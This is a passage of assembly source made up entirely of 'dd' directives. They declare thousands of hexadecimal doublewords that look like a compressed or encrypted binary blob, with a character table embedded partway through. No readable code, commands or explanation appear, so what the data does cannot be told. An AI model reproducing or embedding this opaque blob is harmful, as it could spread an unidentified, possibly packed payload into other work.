270045CEh, 48F324DAh dd 1E1E91EFh, 40441A22h, 7538920h, 0C0074FC4h, 0E6E8D4A3h dd 0ACCD82D0h, 0C66E00B7h, 0F43FF02Bh, 803C2606h, 0C0FE02FCh dd 60752D0Ah, 59DE4ABh, 412E74C4h, 0A4A68146h, 5ECDE4F9h dd 3880500h, 0EE8A6B53h, 8DCF1F2Ah, 0D6AD8742h, 0EB5BF0ABh dd 0A400CC88h, 0D8DEA1C3h, 1B8C41h, 7FD307Ch, 4DFF01F5h dd 7475F425h, 0BB0D00C4h, 3414DE45h, 0E40FC400h, 41AB127Eh dd 43290104h, 4B0B1F91h, 0F9987150h, 0DEC16031h, 6BB86600h dd 2E6C9622h, 9E1E00EBh, 9A88FC25h, 0DD004517h, 0F7EE7E0h dd 1CC9B258h, 808DF228h, 0BF065975h, 0C200AA9Ah, 45D36649h dd 64E31Ah, 0A9F938B4h, 847A16D8h, 736D3100h, 0C92E3283h dd 8DA70008h, 0D0445F46h, 0F5008925h, 0A03D0320h, 58227507h dd 4600BB09h, 119FA506h, 737B90AAh, 9D7E811Fh, 326B800h dd 0E1340h, 0CDC43C6h, 0DB8D6BE9h, 2D2E0801h, 69053FFFh dd 2104E12Fh, 5B6C7048h, 83C44000h, 0E051ECA2h, 0E1D901F4h dd 72BFE837h, 0DBFCD80Eh, 749C2D00h, 9BF2D8A7h, 83DD3C48h dd 0FAA8D401h, 0FC410B70h, 9A00DA09h, 0F8EF80BCh, 7E675DFh dd 3187BF2h, 9B6BF0BAh, 4400148Ah, 7DDE515h, 8E8C0h, 660F7004h dd 45E33005h, 621DE27Ch, 480032EBh, 64CBCAAh, 82F0073h dd 8205C879h, 0C00F83Bh, 0A303C96h, 712FF83h, 8027730Fh dd 351F707Ch, 44E425C6h, 4FE00E00h, 0FE0D781Ah, 13800011h dd 0EBED7739h, 2F981F14h, 3128A601h, 525F9862h, 7A533530h dd 21190325h, 0F150A190h, 77835688h, 0C1303A00h, 389D6EAh dd 53120088h, 6A80C302h, 6008BEEh, 0A0042ECEh, 7CA0BC8h dd 0B46B840Fh, 79FC4069h, 5C2C9DAEh, 0EA008361h, 1EFF13F3h dd 607A00D1h, 1F7C04F6h, 0F4891BFh, 82D0EFDh, 81A70064h dd 0B6B3DAh, 15730DE0h, 0E0549F2h, 27D22103h, 98989378h dd 0DFF410h, 0B8D7146Dh, 0C22B122Ah, 0DA790104h, 9FC18534h dd 0E44062F5h, 614057h, 0F7A4B91Bh, 0C0DF6A1h, 0F93DFE00h dd 24C4811Eh, 1F75000Fh, 0EBECCC49h, 0A00397Bh, 0AA3004C1h dd 1E7820h, 2122D489h, 0EA44316Ch, 0B009873h, 3134C8Dh dd 0C61602h, 80D58207h, 0F7D1853Fh, 0CCB9540Eh, 0E5EB271Fh dd 88D271E0h, 0D5FB008Ah, 6FF19E9h, 0B900F008h, 9D9B1CD1h dd 261EBA7Dh, 27E2DBh, 6BF89A6h, 0F600E8EEh, 3E13C185h dd 5C0DFF80h, 303AD7C5h, 464E0107h, 7075F0FCh, 7D008286h dd 53A0CE0h, 2C6699h, 1246152Bh, 3B1F0748h, 4AD8CE1Fh dd 0B0DF2400h, 5CD4B81Dh, 0E83B960Ch, 2A582B80h, 9C43D003h dd 0DE252404h, 0BDC11362h, 0AAFC8498h, 1C35F212h, 825002F9h dd 3E52E0D9h, 3FDFB0E0h, 0DB6EEB00h, 8AFF9B8Eh, 0D2A90266h dd 0B0179E26h, 0DD90C1E3h, 527F89BCh, 906D2800h, 0C30B859Bh dd 989900ACh, 4ECA4320h, 0C40027DDh, 0F03A2CF3h, 0F730Ah dd 290DDA26h, 0CE904349h, 53B80600h, 131CEA52h, 140E008Ah dd 619DB3CAh, 0A93D9428h, 6BE4002Ah, 9040EDD2h, 0F4FA0381h dd 720A9E9Ch, 2143801h, 0BCC54BB5h, 0B871F8h, 250E978Ah dd 0F0340F4h, 0B67850Fh, 7606A055h, 0FE81216h, 3F957AA7h dd 741B0520h, 1C002029h, 16B93862h, 3C278B40h, 0DF8FB015h dd 5B40C477h, 0B932D1B8h, 3D52073Fh, 34450030h, 0AF3F272Bh dd 43906Ah, 511008EEh, 88154B90h, 42003EB8h, 0E40C2344h dd 1E793A14h, 73918Ah, 85080A5Ch, 0B11E0490h, 210074FCh dd 2CEC64F8h, 60422CE0h, 56520027h, 97915014h, 0CF19507h dd 8762FC78h, 8225C008h, 0B8400073h, 8C5D54BCh, 8D0024D7h dd 158B64A8h, 8043F3h, 0CB4EC93Dh, 1C303312h, 9810BA00h dd 708D404Bh, 734F00D4h, 76B30BC4h, 743F8744h, 0EC7A8045h dd 5798F20Dh dd 258C006Fh, 302F206Eh, 42E4F178h, 1C0E397Eh, 0E7760410h dd 0A8340E1h, 2B110082h, 5025D453h, 8B0BB273h, 33E9ABAh dd 0F860A7EEh, 0E1A5D84Eh, 1318960h, 0F71EE3DBh, 408A07D0h dd 97C1FF8Fh, 0D80E1879h, 0D108B3h, 350573E0h, 71060B41h dd 70809DDBh, 0ACE6E2F3h, 85C33803h, 0B9038B61h, 53F8F420h dd 1F30E618h, 3085DF2h, 98DB0CE6h, 0F410E099h, 8D122E7Ch dd 0E0E3353h, 0E7D140B0h, 0D74DFDh, 0AEF8DC3Dh, 0F2015AC3h dd 76F68500h, 3C647163h, 0CAE029h, 0EEE0E9C1h, 35FF983h dd 1F7E800h, 0E78166FAh, 0BA0F00FFh, 2CE5C26h, 0C7003BF8h dd 9DD02177h, 10CDF5h, 4E14069Fh, 0E09373FAh, 0B507247Eh dd 47E88801h, 0C5BF023Bh, 0EB3FC07Eh, 212C011Ch, 1F0F5372h dd 0CC10E4C6h, 4E0002E0h, 0B8B9D75h, 0E498C985h, 0FF7A3E35h dd 3BCAFB80h, 4F5FE15Ah, 0E54EB014h, 2BA9008Ch, 4C770CBAh dd 0DAB8177Dh, 0C2690145h, 30080110h, 0CE1F71A7h, 3ABE5920h dd 16378099h, 0B1438D27h, 0E06E00C3h, 0E9775A35h, 0CC03CA55h dd 0C085C950h, 0C73CA876h, 0D6810033h, 0F30C5D70h, 100E540h dd 0DC92772h, 71C2F002h, 0D68B3E13h, 0CF507480h, 0F8D103D2h dd 87057539h, 0CEB3201h, 0B4A6B080h, 0A02F0054h, 91757948h dd 11FE42A5h, 0B657700h, 75676B5h, 5478ABh, 9D7B22BBh dd 0BFAE3CECh, 0B10C7000h, 9A2DC2B4h, 0A049481Ch, 0CE34A11Dh dd 52E0880Ah, 0FED0845Fh, 77F23200h, 0C8F94CAh, 0FAD1004Bh dd 8A7F2089h, 11005653h, 0B8E1CB27h, 0ADA17h, 76F4F0Fh dd 0E3C8FDF2h, 8A225500h, 0BDEAF8FCh, 759F008Bh, 5334AA87h dd 0C7027C8Dh, 0CA1E88A3h, 840740C3h, 28A00D5h, 274307ECh dd 0DE004647h, 7570B033h, 28E6E8h, 2A09BC80h, 4B26048Bh dd 16C78A00h, 0F13E0649h, 0F40000Dh, 0C8E65B81h, 7D3B0C34h dd 37311824h, 5711DCh, 40478014h, 0D97B754Bh, 28EFF100h dd 50390563h, 4E8E8B9h, 0CF498F20h, 0F8E280ECh, 0B100B054h dd 2E0BAFFh, 39735C8h, 496071A7h, 0D9B013FCh, 2900ADC2h dd 4B89A09Dh, 7CDB85h, 5843762Dh, 0A5799FD7h, 41023000h dd 0FF5EE180h, 0D9953C01h, 0E9181480h, 0C70A57E2h, 88A11C00h dd 0F21F75Dh, 408C0059h, 183C8D12h, 307F2AC3h, 2ED61F00h dd 2410A9EBh, 75217EABh, 0E3800002h, 0FC3245F3h, 75011A6Ah dd 0FE4134F0h, 0D670DFB6h, 0E52C0749h, 0E07D3173h, 0B9FF3E62h dd 4D9FD400h, 5F9589ECh, 9334001Ch, 9BDD88B0h, 1A1D0C71h dd 0A89DE410h, 6EB78680h, 0C776B4h, 0DE3D34Ah, 0D6E8FD4Fh dd 7E400401h, 4730BE21h, 0E0446130h, 13FF7D18h, 1A2CBFh dd 0AF4ED6FAh, 0F2B89F23h, 59760E9h, 5FE4FE00h, 82783EBAh dd 5816037Bh, 9297831Dh, 755BC998h, 33ADFC00h, 8D487C06h dd 89231FBBh, 0A7084157h, 61042035h, 904EF815h, 54A2FE03h dd 8041C59Ch, 7444342h, 48474645h, 4B4A0049h, 4E004D4Ch dd 0A51504Fh, 38545352h, 5801C655h, 62615A59h, 6564C063h dd 68676603h, 806B6A69h, 76E6D6Ch, 7271706Fh, 75740073h dd 780E7776h, 307A79h, 34333231h, 37361C35h, 2B390038h dd 24203D2Fh, 9D284Ch, 7D7B5D5Bh, 703A3B2Ch, 5C5F002Dh dd 927222Ah, 91000D0Ah, 0AAE4C4E0h, 7388E867h, 0DA950F04h dd 0C55E24FFh, 0C084EA21h, 0EC8B2706h, 1490B926h, 3620CB03h dd 70D5A801h, 15E60FFCh, 0C62080B5h, 5C49E960h, 9E099B00h dd 9C732D85h, 947A00FCh, 114A641Bh, 96FC6B5Bh, 8CEC9F00h dd 0DB2D16DCh, 0C39707C0h, 914B5421h, 0FC66C204h, 190759E4h dd 941FEBECh, 956BC70h, 4052008Ah, 0D4CF5C7Ch, 33001571h dd 0FF273929h, 3C4BA3F4h, 790010FDh, 83481F05h, 400093C8h dd 0A5CEB6F0h, 823252h, 0D98CD5F4h, 0C6660347h, 11F01600h dd 5521429Fh, 4ABF0051h, 6C7EE292h, 0BB0076E1h, 0EB071569h dd 41B929h, 0DC30630Ah, 0AB83E806h, 5600807Eh, 0E7C1157Ch dd 0F869CFh, 8BFD097Dh, 7E58562h, 8F82B80Eh, 464BC10Bh dd 3D60ED05h, 76EA00F0h, 2BBCE14h, 0C7143032h, 0CAF468h dd 0EFC11A13h, 1C6FF24h, 336AD94h, 41FA6E7Eh, 2B13ED8Ch dd 6AA1B0h, 0A6C246Dh, 7BEF947Fh, 15684A00h, 648CD44h dd 387A4Bh, 519E418Bh, 2F02BAF3h, 921ACF07h, 0E83084E9h dd 7BDD206h, 0A7EC4FF9h, 2ADF90C2h, 2004589h, 169F4999h dd 0ECD9C65Ah, 6B7623h, 2F42C288h, 0F0CA36FFh, 0BA70E100h dd 0F969CB33h, 0AD5C00D4h, 6068A240h, 627F6FD8h, 3BB50303h dd 0A86D5AA4h, 1FE361Dh, 5315C83Fh, 0D4952D01h, 0D8023B81h dd 0C029B27Ch, 6EE0E01Bh, 592EC49h, 50B1C594h, 2132839Fh dd 0B2525207h, 62B071C4h, 790B0A0Dh, 1EB473FFh, 15D80CAh dd 0B186A9C6h, 0A33EF44Fh, 50495307h, 16B5B95Bh, 32A0C1C7h dd 0FC982A64h, 0F8281C13h, 5EB9C023h, 52250194h, 4690200h dd 484EB36Fh, 0A25F0010h, 0BF446CF0h, 25001609h, 9DC24FAEh dd 3081B8h, 9208E2C1h, 0E90071Dh, 47D10B00h, 75484B0Dh dd 782E74EEh, 0FAB70066h, 498A01D3h, 0C0F8840h, 206A4306h dd 0E183CAC1h, 6CD5003Fh, 184C2596h, 0EAFA270Eh, 6031E70Fh dd 0D6D4006Bh, 79FC6ACh, 68B1527Fh, 900A97C9h, 750BCB7Eh dd 6B80D100h, 902D37D8h, 0B85000E6h, 477CE29Fh, 3F72A4A3h dd 4058AB00h, 252785A1h, 9F000C6h, 5F1CF405h, 8F000F15h dd 334E99A4h, 0EC859A23h, 0F36A0058h, 0CAA15AA9h, 761E05F1h dd 308A2B8Dh, 7C01BB3Ah, 0E0EFE378h, 0A2D0D6F5h, 0A4EC64h dd 0F692FF30h, 75023A07h, 0E2C64600h, 94D701EFh, 0F83E0F17h dd 7CC08483h, 0B6D44733h, 0BCA8E07h, 5E90148Dh, 139629h dd 0C9241C1Eh, 0FE0274B1h, 1ADC0900h, 0D280B8FFh, 3B5E079h dd 754F4304h, 7DD830D3h, 10017414h, 0C45B1FFh, 0C03E3B08h dd 0A689057Ah, 2EDDF400h, 44D12D1h, 341D0F65h, 4700F78Ah dd 0FD44F8A1h, 0A200D9E4h, 6590899Dh, 582E38h, 0F02D704Fh dd 10E9A151h, 0A2271801h, 74532F85h, 0BCD1D8h, 0B9546A1Dh dd 4C9CD4F3h, 90CB8B1Dh, 4717CDC0h, 1E8AEB5h, 0F6B02BCFh dd 20E6D655h, 0F0122C84h, 9CECC3FAh, 0D465007Eh, 0C1E4ED15h dd 0F7000316h, 0CE2B94BFh, 756247h, 12EC04B9h, 0A7C82728h dd 1114D3Ch, 2EDE2CD3h, 0C0D7A242h, 1EAED4A3h, 8FCAA4E4h dd 5A3DD69h, 0DCB87610h, 0D0018BD7h, 89DF6F62h, 9220A270h dd 107891h, 13A9D812h, 2C78F0CBh, 80060B00h, 60E25C3Bh dd 4BFEFEh, 0B57EB0DEh, 0E5BD2AECh, 154F1B00h, 194558F4h dd 927777h, 7FB7DD56h, 5E5F630Bh, 0F4716001h, 91A5C438h dd 875F0h, 0F24A5A33h, 44022717h, 41A4EF00h, 69E95748h dd 5FEC6Fh, 37814531h, 9453885Bh, 57018D7Ah, 0E8719D0Dh dd 46C847BFh, 17C800A0h, 5FC34287h, 34029CDDh, 0F0C5FC91h dd 2256C1AAh, 3812CCh, 72F77DA4h, 19681384h, 0C174C600h dd 505FC752h, 0A69F00BDh, 9D0F7386h, 2C000279h, 34EC9632h dd 64AF37h, 39C495C6h, 56B29EB3h, 0C585F71Fh, 4DB86345h dd 0C3EC58C0h, 0D31D003Fh, 0A632E606h, 0A094B17h, 0CDE7B1h dd 3A25A58Eh, 0E6AAEC29h, 93FA0044h, 0D01B9266h, 5E01BB65h dd 14B45026h, 2AD419F2h, 0C79F0987h, 0E60089A9h, 0AF560574h dd 316F839h, 9CB466ACh, 0D88CC364h, 758BDDh, 4B937C2Fh dd 6A24A058h, 7A820300h dd 5AC773A4h, 0BA727Eh, 27841D5h, 0C327116Ch, 4B8E5901h dd 0A6B01E5Fh, 40D2ECh, 7517496Fh, 227C3966h, 0A39F4507h dd 86202F71h, 0D94161h, 7BDB2529h, 676F881h, 35A85500h dd 75AE2638h, 0CB450093h, 1834EA74h, 232E04DFh, 0AC034A08h dd 0E88237EBh, 641AE2h, 0A6432101h, 9854B34Ah, 0FC93B909h dd 48815F69h, 0D4022D6Ah, 7D004DBEh, 0C59B05A4h, 0B062A7h dd 42BFC963h, 1C8F36A8h, 0FF96D100h, 0C4B8BC6Ah, 124F1D5Bh dd 9C5C044h, 2C464772h, 40703802h, 7D94C0AAh, 0E8C0230Fh dd 0FC9591DBh, 45F60A7Dh, 8D268F00h, 7AF2357Bh, 1AD2052Fh dd 0C0F007D3h, 0C2552B85h, 0F4D07800h, 1B3BC13h, 100B002Eh dd 0E881A64Ah, 910F2924h, 60F164A5h, 9F0D9669h, 95840046h dd 866A4BF6h, 0E8075414h, 302B75FCh, 0F0CBE693h, 0E329BAh dd 0AC2C164Ch, 0F55CF4E4h, 48FC2D01h, 5A59A165h, 70A580F4h dd 0A62107E2h, 436C14C4h, 35A94485h, 5F51E0DCh, 92F46000h dd 0C9311EFCh, 0CA090549h, 80405553h, 0C807302Dh, 94E98800h dd 0B6F2E06Ch, 667C08h, 0D806EBD1h, 35F00973h, 83203E1Ch dd 0B8F38100h, 0CEFEEDh, 31EB1C75h, 4FDA8EC1h, 5BD5E100h dd 0EF6CD2F7h, 0A5D0003Eh, 0AFA955C0h, 61004384h, 97C447D4h dd 0E8510E2h, 28BFEDA0h, 0EC41DA0Fh, 0F0A8E0D6h, 0BBFC59ADh dd 80F3A53Eh, 46712D63h, 7B849743h, 0FC1807B2h, 518A1403h dd 0C09DDF92h, 9EB0D368h, 0F8043Dh, 5DD0D45Fh, 3CC60150h dd 8980B0A2h, 85FC29B7h, 4DEE17A9h, 7B2CDC00h, 5A241051h dd 0E8010021h, 0B1ECDD4Fh, 93057102h, 52DF2347h, 0F31617C0h dd 4FAC0028h, 77E50FCCh, 3E002941h, 0C8099412h, 1B1697h dd 0F9A8072Dh, 7CD15A58h, 0F0564500h, 0BA51F6E6h, 5B380160h dd 0CE077948h, 0B146CCEBh, 10FE8300h, 0C1ECF1EDh, 0DC95005Eh dd 96D37224h, 0A800ABE2h, 67BD1E75h, 0E8D1ED2Bh, 8CB000E6h dd 70834FF8h, 7C0058FFh, 3C709EFh, 9160C0h, 0A8A0048Ah dd 3B94980Bh, 61114A00h, 51010244h, 0E3C10012h, 88C33683h dd 71174606h, 2800295Fh, 34B264ABh, 0A58B1DAEh, 0E45200D2h dd 92B2CB1h, 5CC45905h, 0C8016278h, 565B5A02h, 7F89760h dd 8BFC12AAh, 40C2B7F3h, 789E7908h, 0B1A96000h, 985E58Eh dd 0FE500134h, 4D8B42ACh, 0FD94DCDAh, 51E8AFF8h, 7400197Bh dd 49CF5C1Fh, 1D952044h, 8D1118h, 0CEEA2FA3h, 0AB984556h dd 58B02100h, 209EA967h, 2AF3007Eh, 2C29BC6Dh, 0D8E89F57h dd 0CA529C00h, 42A4968Fh, 0D575FFh, 0ABE8C3C1h, 290C3292h dd 0AF880807h, 0ACE0DB7Ah, 1CC21FCAh, 0C0E69443h, 1C77CEEDh dd 61E2BA6h, 814097AAh, 0E38D5426h, 5E280070h, 0DCBC2C4Fh dd 0F277C28Bh, 0B689E200h, 912F1CAAh, 834000E4h, 64751EF8h dd 0DE019A5Dh, 0E83120BBh, 646049A3h, 0B7241E79h, 0A2A500A9h dd 4659DE5Ch, 62B52900h, 2EA68A3Dh, 891A0010h, 0AE1F783Bh dd 0EF1E200Dh, 0A2405096h, 8B100E75h, 0A98D00FEh, 7ADF1DEh dd 6600A5F3h, 2D5B1E29h, 51AABDh, 0CBCC734Ch, 0C9705CB8h dd 0BD4E000h, 3F77FC45h, 29C400F5h, 7C27785Eh, 4C0081A9h dd 0B22B1ED9h, 3B8352C0h, 0BD0088DAh, 0B3ABFE59h, 0B900D40Ah dd 33B4A913h, 1420AAh, 5F90C3C9h, 0AF81EA92h, 5108B900h dd 0E97C805Eh, 126E001Fh, 7B74A9DDh, 500EB3Bh, 570F01B5h dd 0C282Ch, 92049EC8h, 0CCE40DC9h, 0EE063Ch, 10D008D4h dd 0F831FCh, 1DD87D89h, 59226421h, 0AC1F34F8h, 0F60080E0h dd 528AACBh, 0BCD400C8h, 0B3E81662h, 0BE002B24h, 0D01EBA19h dd 7E33D802h, 2C050049h, 0EB63D759h, 32002126h, 0F21E6FCCh dd 2C1CC851h, 8E0BF7h, 2331716Ah, 600159Bh, 0E14CBA84h dd 0D2CBFAh, 0CE2824Bh, 779808DAh, 9A0B2700h, 3B42D6D3h dd 9FB0ACh, 6759C2C8h, 5CD42630h, 9600DEFAh, 1B88CCE8h dd 0DC7EADh, 50E94151h, 0FBFE7DBh, 0BCDE6300h, 440C70B1h dd 94EF0361h, 0A82414E3h, 2010709Fh, 0AC0040B0h, 39B481B8h dd 0F85BC5h, 0B6BE24FCh, 0DC224972h, 20581D73h, 0A4AD004Eh dd 19FA1E82h, 0E00200B8h, 0B449DC3Bh, 0D2732D16h, 36C5Ch dd 71CF4691h, 28AC29h, 2EB6704Fh, 0BE18A867h, 9AC3B216h dd 6900911Fh, 22291646h, 24AD0164h, 0D81B996Fh, 0B6E0DE51h dd 505BAA8h, 64F9E3ECh, 0F195A50Ah, 54189107h, 8F200DBh dd 1FD84293h, 814EB914h, 89D2D0B2h, 0CC1C9E64h, 988603FDh dd 0C80A91D9h, 53AE5Bh, 175874DBh, 0EF0B4A4Eh, 0FF9CF018h dd 0EC7552h, 185F8068h, 0F4E363C1h, 0E02BA00h, 1E4E1077h dd 0E48C01AFh, 18A7F660h, 2030D914h, 0E1752A88h, 4C7C7175h dd 0FA80DC01h, 820643BAh, 8C68DCh, 0B33242Bh, 2CD247B9h dd 42621900h, 0C9DC21AEh, 0CED72673h, 0B2900085h, 430C967Bh dd 7D3C2D7Dh, 8010B977h, 22FFD392h, 0C08368h, 0F31FB078h dd 0CEDBF603h, 0BACF1B00h, 40AF3F13h, 87B600B2h, 0D7E7F40Bh dd 4C0092DFh, 11D46D0h, 0F87032h, 0F4F15DD5h, 0EC933C2h dd 0A9CAD200h, 29AF6A84h, 2A811238h, 0C3050102h, 0C9109E43h dd 8722703Fh, 0F5933Fh, 8F060F38h, 3BE30811h, 1680FA0Ah dd 0B4F845B7h, 3900EBC8h, 0BA9B6BE7h, 2ACB0Bh, 7CB091E6h dd 5C0E479Ch, 79535400h, 694C0901h, 31500062h, 736DC81Eh dd 0F3030C5Ah, 0FF2593CCh, 1D8BD856h, 0A953023Eh, 7D04BFD9h dd 95746240h, 75EFFB0Eh, 1A02610Ch, 81F59868h, 8BECF4h dd 0EB124DD3h, 0EECFF34Bh, 5F4A4800h, 0FC555280h, 25C13BB8h dd 934BE880h, 0D01603Ah, 9F761C00h, 45283EE9h, 0A9440006h dd 2714914Fh, 2500F823h, 0E5EA6BABh, 7421396h, 124756DBh dd 6CD18053h, 78001B76h, 9CB9A1C2h, 28D745h, 954E4F1Fh dd 0AC841D68h, 2299A200h, 0DFE68B71h, 903A7896h, 645C00D7h dd 0D98F04ECh, 51007509h, 0FCF01440h, 0ECEBB2E4h, 8C5B015Fh dd 8464BDFh, 63DECE6h, 4253B00h, 0DB19C1D0h, 0EC0200EBh dd 78B9F6FFh, 2D000DF7h, 2CC4F43Ah, 0B89DAAh, 3358DD7Bh dd 20BEC529h, 624CB207h, 145013E6h, 35BE82Dh, 8DB86104h dd 80EDAD2Fh, 6890DD1h, 4938F800h, 5328BAC6h, 0CB150A91h dd 0AC318Bh, 3FB833Fh, 0C006076h, 9BE848D2h, 24C518h, 9C098940h dd 0B01F0456h, 7E2B1425h, 9A8D00CDh, 0BA1A8626h, 0E6313800h dd 0F4C2CA93h, 82240394h, 29B2F972h, 0AF051B0h, 26DB2200h dd 9317E83h, 0F22B3D74h, 0A54E7980h, 9B20B425h, 874F987Fh dd 1A2C4DBCh, 0A9C70040h, 91DC45C9h, 804D073Bh, 8A032D2h dd 7C701094h, 0E4A82C5Ch, 85E80085h, 38BFB2B0h, 5F8BA400h dd 14AFB7D6h, 98C800BAh, 85903B8Ah, 0FF002175h, 66FF9BCh dd 4C4E1E96h, 61008BDEh, 122BC667h, 0E8FBF687h, 9F3C1043h dd 0B2B78B55h, 0A08F006Fh, 29EAA5h, 0C4363240h, 212DB350h dd 0C671F39h, 0E2E165Ah, 22F86Ch, 0D23CD34Eh, 0B8F84883h dd 0A1B301Ch, 90167343h, 0B40CD8C5h, 0B2440013h, 573ED36Eh dd 0F00F6A5Ah, 2019BD4Ah, 43E0C8E8h, 12532E4Ch, 295C0097h dd 73D06630h, 2C03B3F0h, 2116D3A2h, 545B8D8h, 0FFDD00D2h dd 0C743759Ch, 0A90E1048h, 0AF490F26h, 5C6E05ADh, 0AC0C0680h dd 7C477574h, 9251EE4h, 37B30FB9h, 0C26308A7h, 8940A2D6h dd 0FAF2A4ACh, 2F3E2CFEh, 0BACF3976h, 0E08480A8h, 0B5165CB3h dd 63210069h dd 0ECFC6579h, 9400478Dh, 542DF450h, 7F5ABAF0h, 65B60026h dd 0D04351BFh, 0C6000AB2h, 2B610B8Bh, 0E1B510h, 559D8A6h dd 0E6A8C4Ah, 0B7D49C00h, 0BCCDA06Bh, 7AC40E11h, 9A6FA3B5h dd 70F1DBC7h, 6EC2AA1Bh, 7D549D00h, 83DE9ECFh, 4D7B00E2h dd 5290E3C8h, 88042345h, 0EC44B581h, 394F73C0h, 0E483902Ch dd 0FEC400B0h, 53859586h, 0B3D199Dh, 8492D00Ch, 0B85D3207h dd 89C9B412h, 26AA00FAh, 82EFF4h, 51CE7D8Dh, 0FDC39257h dd 6642411Eh, 21F34C47h, 387EBC7Ch, 0BF00493Eh, 19EBE8D2h dd 0A800C3BEh, 0B48EA30Eh, 9E2FACh, 1DA6759Fh, 42485536h dd 62034BF8h, 0D89B545h, 44A9D06Dh, 0A5CE0191h, 22D725BFh dd 0B8AFC47h, 0AC644A00h, 0F819F669h, 0A829001Ah, 0DF54E20h dd 7BB8BA2Ch, 3F6051ECh, 0BE80D616h, 105E0BB9h, 28808875h dd 0CCAB85FBh, 0D6502607h, 0E71FE031h, 558044BEh, 3E25D2F4h dd 74047864h, 0C0A040FBh, 0F02E13D3h, 0D8482AE8h, 48CD0076h dd 9559B745h, 0E2050078h, 0C1BAD5B8h, 5400F8DCh, 0E18ED34Ah dd 2EC4694Bh, 0C19062h, 88792B52h, 650078BFh, 80C1B0B7h dd 107EBh, 3A740472h, 7D956E67h, 755CE9F8h, 1451006Ch dd 9EE325Dh, 0E590028Ah, 4DD78970h, 0BE81D489h, 0D804B84Fh dd 1E00FDA2h, 0A1383652h, 20E6305h, 1D451723h, 0DA401929h dd 92FE8048h, 0F104741Dh, 0FDA5E7C0h, 7CDE4F4h, 0F00693FAh dd 0B92F9061h, 0BB00793Fh, 4A97892Bh, 1835B59h, 8E1CC778h dd 700AFB45h, 0C90013BBh, 4B7E0D0h, 2659FA5Fh, 0DE010Dh dd 0E7557C8Ah, 0E8074284h, 5319A76Bh, 0FF046FE0h, 57933E8Eh dd 0C85A1A00h, 8FB083FEh, 0A7E2F03h, 9880E10Fh, 0F94594h dd 15086EEBh, 81C49610h, 67D38600h, 0A528F895h, 0C5AD1F41h dd 0FE830001h, 0FC457E02h, 0B000998h, 3E7DF03Bh, 0FA4178h dd 0B838147Fh, 48A08203h, 0D4287528h, 2421F800h, 0B1541A22h dd 102EC84h, 0AFFB672Dh, 60DC68C2h, 0F4CF45Dh, 80553EADh dd 0B9368BC5h, 3CD20873h, 0B897304Ah, 0EE8800A7h, 0E4C16D7h dd 616C4300h, 1C8E3373h, 0C8460048h, 0ACA754D9h, 0F03E8B0Ah dd 347D80CAh, 24B50CE2h, 0B8A20F44h, 0B9C0233Eh, 847252A4h dd 0F414D005h, 2EC003F9h, 1326FE9h, 36FFC327h, 30E025E2h dd 5C484A69h, 7CBC000Fh, 0A72B20D1h, 99D4004Ch, 6BBAAAC4h dd 0E4E5E749h, 0C6F40FB2h, 0DDCAEF01h, 0CC563334h, 1845CE8h dd 0DC60FC27h, 0F42D4628h, 0BE4A2FFh, 88008398h, 3B633169h dd 7FC99E21h, 0F9E5000Ah, 4E47C14Bh, 0DB98DB75h, 0A95B1207h dd 0CCD0CF69h, 0E8BAB113h, 95030097h, 20F1407Bh, 2300DC4Fh dd 12C0262Eh, 0E738EDD4h, 36C85E8h, 0F575A8BBh, 0BE88A9B0h dd 7276CF3Eh, 0D68A4200h, 0C8F8910Eh, 8D8E00DAh, 7DD2DC70h dd 0D77B86F2h, 4DCB30EBh, 3E73E700h, 1B094892h, 0D67B16h dd 0BEB5205Fh, 6F67699Dh, 2F652500h, 7BBB7389h, 997200B6h dd 622ED8ACh, 5C00F814h, 2DDAC408h, 7FF5BD48h, 0AF250085h dd 0A5134D98h, 4C0EC6B7h, 0AEA4772Fh, 1174A03Dh, 0B239CBh dd 0EB057D0Bh, 0FF35EFAAh, 4831B800h, 84D4295Dh, 34FC0064h dd 62B995EDh, 0A800CBF8h, 0D88831FFh, 0E4870803h, 4498004Ah dd 0F2750F45h, 0C40043A3h, 528EBCF0h, 7FB58B5Fh, 4D85006Bh dd 4EB8BD7Bh, 22606CBh, 7500DB83h, 49975E77h, 50032429h dd 94C60329h, 0CEFBECC3h, 0FC7B0A00h, 0ED45AA09h, 64407A7h dd 906A1863h, 86D89A3Bh, 10AE7B00h, 2474DC2Fh, 1D1707D9h dd 0FE201319h, 575AA00h, 0AE000AC5h, 5EEEE674h, 3F105CB0h dd 34818ACCh, 0BA169DF8h, 0BC59C0BEh, 0E484261Eh, 5B008B1Dh dd 438AC268h, 0F88807BDh, 5728D152h, 42D480A4h, 1C002521h dd 890F0C4Eh, 533F43h, 8FB64B8Eh, 0BD91C52Eh, 0AD3AB200h dd 0CEE9143Ch, 66D6001Ah, 5161DA4Bh, 1FA109Dh, 0BEFC8A07h dd 85308F58h, 79A8D9ECh, 5F72014Eh, 3DE45570h, 79F0F430h dd 3F538B01h, 0D0CFCC9Ch, 0D37330h, 68F810D9h, 21BE42B8h dd 0D611EC00h, 0F49061DFh, 0ABF300E5h, 0FA649793h, 0AE7637F5h dd 0D3742000h, 4E030688h, 63C817ACh, 43030004h, 79FA013Eh dd 575D9600h, 0CA974E39h, 0E0C7007Ch, 9E14998Bh, 5E0080BEh dd 0F1E95C9Ch, 79413F4h, 16DF95E3h, 824485DAh, 20614BECh dd 7C8DE00Dh, 1D4C2005h, 78C749B8h, 6307C2F0h, 6240F8Bh dd 0C5D404BAh, 0DABF3000h, 8DFB0228h, 0C540EBA0h, 8A998100h dd 0C2935E50h, 25EA3A6Ch, 0D530B700h, 0CAC0237Ch, 25F74Ch dd 0F64C9B90h, 0B00507h, 0AFECE901h, 0D854DF4Dh, 0B72D8800h dd 0EF3364AEh, 35D01A0h, 9EEDF49Dh, 283C3043h, 48080400h dd 200C112Ch, 10440114h, 66D38318h, 0EF0AEC3Ah, 0EB851200h dd 0F0335346h, 811E006Eh, 2E3A4D09h, 2A007586h, 144642A4h dd 12711821h, 0FC7AB5C7h, 0AB770029h, 4163094Ch, 0B642039Ch dd 747B7540h, 66B8DCF3h, 0C300DF29h, 2CBED669h, 39B467E3h dd 721B5348h, 44E81EA2h, 8013BF7Bh, 0B700E99Fh, 45DD2609h dd 600400F3h, 50520717h, 0AE8E2ADh, 0E8813B1Fh, 0DA097540h dd 5A9780h, 7B517358h, 7D0CC5EBh, 257A4B00h, 0B5A81221h dd 0B44A00D4h, 0B3F7949Dh, 8F00BB98h, 51057724h, 49BAFFh dd 88B04876h, 427A92A2h, 0BF01EA07h, 7570E579h, 47C589h dd 0F441A74Ch, 0DC867FDBh, 0DB80600h, 0CFA4D27h, 0FE88002Bh dd 0F0FBE82Dh, 0F33E9752h, 